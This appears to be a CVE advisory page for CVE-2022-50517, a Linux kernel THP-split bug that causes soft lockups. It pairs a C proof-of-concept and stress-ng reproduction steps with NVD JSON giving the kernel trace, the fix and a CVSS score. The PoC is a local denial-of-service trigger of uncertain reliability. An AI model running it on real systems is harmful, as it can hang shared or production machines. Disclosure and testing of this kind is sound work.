CVE-2022-50517

// PoC for CVE-2022-50517: Linux kernel THP split swp_entry_t corruption // This vulnerability can be triggered using stress-ng mmap workload // on affected kernel versions (those including commit b653db77350c) /* * Reproduction steps: * 1. Build stress-ng from source: https://github.com/ColinIanKing/stress-ng * 2. Run the mmap stress test with sufficient memory pressure: * stress-ng --vm 8 --vm-bytes 4G --mmap 8 --mmap-bytes 4G --timeout 600s * 3. Monitor dmesg for soft lockup messages: * watchdog: BUG: soft lockup - CPU#X stuck for 26s! [stress-ng:XXXX] * * Alternative reproduction using mmtests config: * - Use config-workload-stressng-mmap from mmtests suite * - The bug is non-deterministic and may require multiple runs */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> #include <sys/syscall.h> #define MADV_PAGEOUT 21 #define MAP_ANONYMOUS 0x20 #define MAP_PRIVATE 0x02 int main(int argc, char *argv[]) { size_t size = 2UL * 1024 * 1024 * 1024; // 2GB to trigger THP int iterations = 100; printf("CVE-2022-50517 PoC - THP split swp_entry_t corruption\n"); printf("Allocating %zu bytes of anonymous memory...\n", size); void *addr = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (addr == MAP_FAILED) { perror("mmap failed"); return 1; } // Touch pages to trigger THP allocation memset(addr, 0x41, size); for (int i = 0; i < iterations; i++) { // Trigger pageout to force swap operations on THP if (madvise(addr, size, MADV_PAGEOUT) != 0) { perror("madvise PAGEOUT failed"); } // Re-fault pages to trigger THP split and re-allocation volatile char *p = (volatile char *)addr; for (size_t j = 0; j < size; j += 4096) { p[j] = (char)(i + j); } printf("Iteration %d/%d completed\n", i + 1, iterations); usleep(10000); } munmap(addr, size); printf("PoC completed. Check dmesg for soft lockup.\n"); return 0; }

{"cve": {"id": "CVE-2022-50517", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:35.367", "lastModified": "2026-03-17T14:12:03.183", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/huge_memory: do not clobber swp_entry_t during THP split\n\nThe following has been observed when running stressng mmap since commit\nb653db77350c (\"mm: Clear page->private when splitting or migrating a page\")\n\n watchdog: BUG: soft lockup - CPU#75 stuck for 26s! [stress-ng:9546]\n CPU: 75 PID: 9546 Comm: stress-ng Tainted: G E 6.0.0-revert-b653db77-fix+ #29 0357d79b60fb09775f678e4f3f64ef0579ad1374\n Hardware name: SGI.COM C2112-4GP3/X10DRT-P-Series, BIOS 2.0a 05/09/2016\n RIP: 0010:xas_descend+0x28/0x80\n Code: cc cc 0f b6 0e 48 8b 57 08 48 d3 ea 83 e2 3f 89 d0 48 83 c0 04 48 8b 44 c6 08 48 89 77 18 48 89 c1 83 e1 03 48 83 f9 02 75 08 <48> 3d fd 00 00 00 76 08 88 57 12 c3 cc cc cc cc 48 c1 e8 02 89 c2\n RSP: 0018:ffffbbf02a2236a8 EFLAGS: 00000246\n RAX: ffff9cab7d6a0002 RBX: ffffe04b0af88040 RCX: 0000000000000002\n RDX: 0000000000000030 RSI: ffff9cab60509b60 RDI: ffffbbf02a2236c0\n RBP: 0000000000000000 R08: ffff9cab60509b60 R09: ffffbbf02a2236c0\n R10: 0000000000000001 R11: ffffbbf02a223698 R12: 0000000000000000\n R13: ffff9cab4e28da80 R14: 0000000000039c01 R15: ffff9cab4e28da88\n FS: 00007fab89b85e40(0000) GS:ffff9cea3fcc0000(0000) knlGS:0000000000000000\n CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 00007fab84e00000 CR3: 00000040b73a4003 CR4: 00000000003706e0\n DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n Call Trace:\n <TASK>\n xas_load+0x3a/0x50\n __filemap_get_folio+0x80/0x370\n ? put_swap_page+0x163/0x360\n pagecache_get_page+0x13/0x90\n __try_to_reclaim_swap+0x50/0x190\n scan_swap_map_slots+0x31e/0x670\n get_swap_pages+0x226/0x3c0\n folio_alloc_swap+0x1cc/0x240\n add_to_swap+0x14/0x70\n shrink_page_list+0x968/0xbc0\n reclaim_page_list+0x70/0xf0\n reclaim_pages+0xdd/0x120\n madvise_cold_or_pageout_pte_range+0x814/0xf30\n walk_pgd_range+0x637/0xa30\n __walk_page_range+0x142/0x170\n walk_page_range+0x146/0x170\n madvise_pageout+0xb7/0x280\n ? asm_common_interrupt+0x22/0x40\n madvise_vma_behavior+0x3b7/0xac0\n ? find_vma+0x4a/0x70\n ? find_vma+0x64/0x70\n ? madvise_vma_anon_name+0x40/0x40\n madvise_walk_vmas+0xa6/0x130\n do_madvise+0x2f4/0x360\n __x64_sys_madvise+0x26/0x30\n do_syscall_64+0x5b/0x80\n ? do_syscall_64+0x67/0x80\n ? syscall_exit_to_user_mode+0x17/0x40\n ? do_syscall_64+0x67/0x80\n ? syscall_exit_to_user_mode+0x17/0x40\n ? do_syscall_64+0x67/0x80\n ? do_syscall_64+0x67/0x80\n ? common_interrupt+0x8b/0xa0\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nThe problem can be reproduced with the mmtests config\nconfig-workload-stressng-mmap. It does not always happen and when it\ntriggers is variable but it has happened on multiple machines.\n\nThe intent of commit b653db77350c patch was to avoid the case where\nPG_private is clear but folio->private is not-NULL. However, THP tail\npages uses page->private for \"swp_entry_t if folio_test_swapcache()\" as\nstated in the documentation for struct folio. This patch only clobbers\npage->private for tail pages if the head page was not in swapcache and\nwarns once if page->private had an unexpected value."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.19.1", "versionEndExcluding": "6.0.7", "matchCriteriaId": "4C6EA4ED-251A-4379-8E94-5B579DF1D554"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.19:-:*:*:*:*:*:*", "matchCriteriaId": "9D759CCF-9E1B-41B2-81AA-CB580C5F3EEC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.19:rc4:*:*:*:*:*:*", "matchCriteriaId": "2E9C0DB0-D349-489F-A3D6-B77214E93A8A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.19:rc5:*:*:*:*:*:*", "matchCriteriaId": "1A0DE3B7-0FFB-45AA-9BD6-19870CA7C6FD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linu ... (truncated)